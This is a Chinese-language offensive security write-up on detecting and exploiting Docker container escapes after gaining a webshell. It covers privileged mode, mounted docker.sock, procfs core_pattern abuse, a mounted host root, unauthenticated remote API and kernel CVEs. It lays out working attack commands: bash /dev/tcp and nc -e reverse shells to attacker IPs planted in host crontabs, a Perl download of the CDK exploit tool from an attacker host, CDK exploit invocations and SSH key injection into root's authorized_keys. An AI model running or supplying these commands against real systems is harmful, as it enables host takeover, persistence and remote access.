曾经多次getshell,在看到.dockerenv出现在根目录下,心都凉了半截。但是还是要尽力去尝试,万一逃逸出来了呢?万一不用逃逸Docker就通内网?下面简单总结下实战下如何检测和利用存在Docker逃逸。
读一大堆文章和云安全的书籍,大致把逃逸的类型分为以下三类:
1.
不安全的配置
2.
相关程序漏洞
3.
内核漏洞
然后下面主要列举一些真正能用上的,检测是否能逃逸的,这儿解释一下能够造成docker逃逸的漏洞很多,比如我也复现过docker-runC逃逸(CVE-2019-5736),这个洞最后利用成功不仅需要docker的使用者使用docker exec进入容器,而且写入的runc还会使得原来的docker-runc出现异常,这种漏洞不建议在实战中使用。
判断的方法有很多种,这儿只列举一些比较快速识别的。
ls -al /
ps -aux 如果使用ps -aux一页就看完了那多半是docker了,因为docker本身是一个删减版的服务器,很多进程不需要启动的他就没有,因而ps -aux看着就很少
。
whereis 常用的命令比如如下(docker不需要那么多linux管理命令,所以一查whereis,这常用命令压根没有大概率docker):
mount 这个做参考,因为我在物理服务器上执行也有overlay这一项,但默认不会显示在第一行,所以显示在第一行大概率docker:
cat /proc/1/cgroup cgroup是实现docker资源控制的组件,因而你查看这个东西看到的全是docker,以下为docker:
物理机执行:
还有很多检测方法,比如ip a看到的ip是172.17开头的,env中有k8s信息,df-h也有k8s信息等,就不一一再列出了。
以下命令参考自
TeamsSix
的文章。详情看文末参考链接。
1、特权模式
特权容器启动时,容器本身具有很高的权限。
怎样才是特权模式启动的?
如果容器使用docker run --privileged启动时候,就会允许容器内的root拥有外部root机的权限,Docker容器就被允许访问主机上的所有设备,因而可以执行mount命令进行挂载。
a.检测
执行以下命令,如果返回 Is privileged mode 则说明当前是特权模式
cat /proc/self/status | grep -qi "0000003fffffffff" && echo "Is privileged mode" || echo "Not privileged mode"
如果返回 Not privileged mode 则说明当前不是特权模式
还有关于K8S的判断:
在pod的yaml配置中添加如下配置时,也会以特权模式启动容器:
securityContext:
privileged: true
b.漏洞复现
下面用我的ubuntu为例:
启了一个tomcat任意文件上传环境,然后传个冰蝎:
然后冰蝎连上去,确实是docker环境:
查看磁盘文件fdisk -l:
可以检测一下,确实是特权模式:
那么可以直接将宿主机的/dev/sda1目录挂载到容器内的目录中。
先创建test目录,然后mount直接挂载:
可以看到已经获取到宿主机的目录,接下来可以直接写定时任务反弹shell脚本:
touch /test/tmp/test.sh
chmod +x /test/tmp/test.sh
echo "#!/bin/bash" >> /test/tmp/test.sh
echo "/bin/bash -i >& bash -i >& /dev/tcp/192.168.43.133/8888 0>&1" >> /test/tmp/test.sh
或者
echo "bash -i >& /dev/tcp/192.168.43.133/8888 0>&1" >> /test/tmp/test.sh
或者
sed -i '$a\/bin/bash -i >& bash -i >& /dev/tcp/192.168.32.128/13122 0>&1' /test/tmp/test.sh
sed -i '$a\/bin/bash -i >& bash -i >& /dev/tcp/192.168.227.46/13122 0>&1' /test/tmp/test.sh
cat /test/tmp/test.sh
写入定时任务
:
sed -i '$a*/2 * * * * root bash /tmp/test.sh ' /test/etc/crontab
cat /test/etc/crontab
然后测试发现冰蝎的命令行有些小问题,弹个shell到kali上继续操作:
写好计划任务后,kali监听:
已经逃逸出来了。
2、挂载 Docker Socket
Docker Socket 用来与守护进程通信即查询信息或者下发命令。docker cli默认通过unix套接字与容器进行通信以及下发指令,当挂载了
/var/run/docker.sock
文件时,就可以对这个
unix套接字文件下发docker指令,就像在node机器上操纵docker一样。
a.检测
执行以下命令,如果返回
Docker Socket is mounted. 说明当前挂载了 Docker Socket
ls /var/run/ | grep -qi docker.sock && echo "Docker Socket is mounted." || echo "Docker Socket is not mounted."
如果返回
Docker Socket is not mounted. 则说明没有挂载
b.漏洞复现
不是很想复现这个洞,太套娃了,挂载了docker.sock后,docker里面再操作docker。
启动环境(其中-v -v /var/run/docker.sock:/var/run/docker.sock就是挂载docker.sock):
docker run -itd --name cent_with_docker_sock -v /var/run/docker.sock:/var/run/docker.sock centos:7
检测一下是否挂载:
直接使用cdk的docker-sock模块进行利用:
./cdk_linux_amd64 run docker-sock-pwn /var/run/docker.sock "touch /host/tmp/pwn-success"
命令执行成功:
3、挂载
procfs
漏洞原理:
从
2.6.19 内核版本开始,Linux 支持在 /proc/sys/kernel/core_pattern 中使用新语法。这个文件是负责进程奔溃时内存数据转储的,如果该文件中的首个字符是管道符 | ,那么该行的剩余内容将被当作用户空间程序或脚本解释并执行。并且由于容器共享主机内核的原因,这个命令是以宿主机的权限运行的。
a.检测
执行以下命令,如果返回
Procfs is mounted. 说明当前挂载了 procfs
find / -name core_pattern 2>/dev/null | wc -l | grep -q 2 && echo "Procfs is mounted." || echo "Procfs is not mounted."
如果返回
Procfs is not mounted. 则说明没有挂载
b.漏洞复现
实战中可以直接用
cdk工具进行利用,方便省时。
从容器中下载工具的话可以简单判断下当前环境支持的脚本类型,例如默认
ubuntu支持perl:
use LWP::Simple;
getstore("http://192.168.174.1:1234/cdk","cdk");
当然一般我们都打进容器了,肯定得有个
webshell啥的直接用这些工具上传也可以。
本地挂载
profs命令启动docker:
docker run -v /proc:/host_proc --rm -it ubuntu bash
判断一下:
然后在自己的攻击VPS上启动监听,把CDK搞到docker里面执行如下命令:
chmod +x cdk_linux_amd64
./cdk_linux_amd64 run mount-procfs /host_proc "bash -i >& /dev/tcp/vpsip/7777 0>&1"
收到反弹回来的宿主机的shell:
4、挂载宿主机根目录
a.检测
执行以下命令,如果返回
Root directory is mounted. 则说明宿主机目录被挂载
find / -name passwd 2>/dev/null | grep /etc/passwd | wc -l | grep -q 7 && echo "Root directory is mounted." || echo "Root directory is not mounted."
如果返回
Root directory is not mounted. 则说明没有挂载
利用思路:根目录都被挂载了。直接计划任务,ssh写就完事了,就不复现了
。
5、Docker remote api 未授权访问
a.检测
执行以下命令,如果返回
Docker Remote API Is Enabled. 说明目标存在 Docker remote api 未授权访问
IP=`hostname -i | awk -F. '{print $1 "." $2 "." $3 ".1"}' ` && timeout 3 bash -c "echo >/dev/tcp/$IP/2375" > /dev/null 2>&1 && echo "Docker Remote API Is Enabled." || echo "Docker Remote API is Closed."
如果返回
Docker Remote API is Closed. 则表示目标不存在 Docker remote api 未授权访问
b.漏洞复现
b1:写入计划任务反弹shell
BEN机搭建了一个环境:
验证是否存在:
docker -H tcp://192.168.43.145 ps -a
如果存在就会看到目标的docker容器列表:
哎呀。这个vulhub的下面没有。
远程查看存在的镜像:
docker -H tcp://192.168.43.145 images
docker H tcp://*.*.*.*:2375 run -it-v /:/mnt imagelD /bin/bash
shell脚本:
import docker
client = docker.DockerClient(base_url='http://192.168.43.145:2375/')
data = client.containers.run('alpine:latest', r'''sh -c "echo '*/1 * * * * /usr/bin/nc 192.168.43.133 8888 -e /bin/sh' >> /tmp/etc/crontabs/root" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})
在kali上直接执行脚本,等一段时间shell就回来了:
这儿原理(其实就是解释python脚本编写思路:Docker随意启动一个容器(这里是远程连接让目标机器启动,不是自己本地启动容器),并将宿主机的 /etc 目录挂载到容器中,便可以任意读写文件了。可以将命令写入 crontab 配置文件,进行反弹shell。)
b2.也可以直接写.ssh密钥来得快些:
下面是打ichunqiu的靶场中遇到的,直接写ssh如下:
docker -H tpc://47.92.6.145:2375 images
docker -H tcp://47.92.6.145:2375 run -it -v /:/mnt --entrypoiont /bin/bash ubuntu:18.04
ssh-keygen -t rsa
(在自己攻击机上生成)
cd /mnt/root/.ssh
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDWn5r11i1qX75uejYftnvxuo9VD+i8Y/V1XSxqm4z3zgCRdvO1lyaE+sY4eR6UN8MU5MpkqhT6duQ7saKDsSVYuhRWrbl7ZISRNzDZ728Q6QgAjysOlmcMbNWwS6V1ibSM8qGozQoSRXmbdzvA4J8j+UqiQ0DkBOUjyhvc2dUqEeSX7hAW8fyeTsMDmzySRWsIg7SRNW1Yp3PZsogeqpKVohoa8BWWfay4VXWBZgU6z9Nd21NIqGI32WkYw7Df/RdGXtUKDPyD8hRlpi5wXHjUR/z7ogvCR2XBu8VTKAvesmf/mR1psBUiaOWYyYgTs4hXbDok5um3nrWnUgt54FB9 root@VM-12-8-centos" >>authorized_keys
然后本地直接使用id_rsa直接登录上宿主机服务器
。
在
teamsSix文章中提到过
「相关程序漏洞」这种逃逸方法需要根据目标
Docker 的版本去判断
。
目前在容器内部还无法判断Docker版本(不知道咋判断,知道的大佬可以教教),因而并不适用于实战,此处不再列出。
以下漏洞可以使用如下脚本进行检测:
git clone https://github.com/teamssix/container-escape-check.git
1、CVE-2016-5195 DirtyCow 逃逸
执行 uname -r 命令,如果在 2.6.22 <= 版本 <= 4.8.3 之间说明可能存在 CVE-2016-5195 DirtyCow 漏洞。
2、CVE-2020-14386
执行 uname -r 命令,如果在 4.6 <= 版本 < 5.9 之间说明可能存在 CVE-2020-14386 漏洞。
3、CVE-2022-0847 DirtyPipe 逃逸
执行 uname -r 命令,如果在 5.8 <= 版本 < 5.10.102 < 版本 < 5.15.25 < 版本 < 5.16.11 之间说明可能存在 CVE-2022-0847 DirtyPipe 漏洞。
这一章纯属个人爱好,大家不感兴趣可直接浏览结束。
以下以cdk中的procfs的代码利用为例:
首先是我们利用的一行命令:./cdk_linux_amd64 run mount-procfs /host_proc "bash -i >& /dev/tcp/vpsip/7777 0>&1"
可以看到使用的是mount-procfs模块如下:
获取其在宿主机里的绝对路径的函数:
导致进程崩溃的函数:
导致崩溃的原因:空指针赋值不会崩溃,输出空指针会导致崩溃。这儿只需要让其产生段错误,也就是对空指针赋值就会出现段错误。
拼接workdir,并且写入core_pattern中,并以管道符|开头的路径:
运行段错误程序:
简单总结一下编写这个procfs逃逸脚本的思路:
1.在容器中先获取容器中的路径在宿主机中的绝对路径:
cat /proc/self/mounts获取到workdir
2.然后是书写会导致系统出现段错误的代码:给空指针赋值
3.将反弹shell的命令写入一个文件并拼接上第一步获取的workdir。
4.将这个恶意的绝对路径的文件前面拼接上管道符|然后送入
/proc/sys/kernel/core_pattern文件中。
5.运行那段导致系统出现段错误的程序,这个时候负责进程崩溃的core_pattern就执行了管道符|后面我们的在宿主机绝对路径下的恶意反弹shell的文件。
总结一下,打入docker不要怕,先挨个儿检测一下,这个不行那个不行,嗨~,建议换个外网入口点。
参考文章:
https://zone.huoxian.cn/d/990/2
https://zhuanlan.zhihu.com/p/473178565
https://www.kingkk.com/2021/01/%E9%85%8D%E7%BD%AE%E4%B8%8D%E5%BD%93%E5%AF%BC%E8%87%B4%E7%9A%84%E5%AE%B9%E5%99%A8%E9%80%83%E9%80%B8/
监制:船长、铁子 策划:AST 文案:Cupid 美工:青柠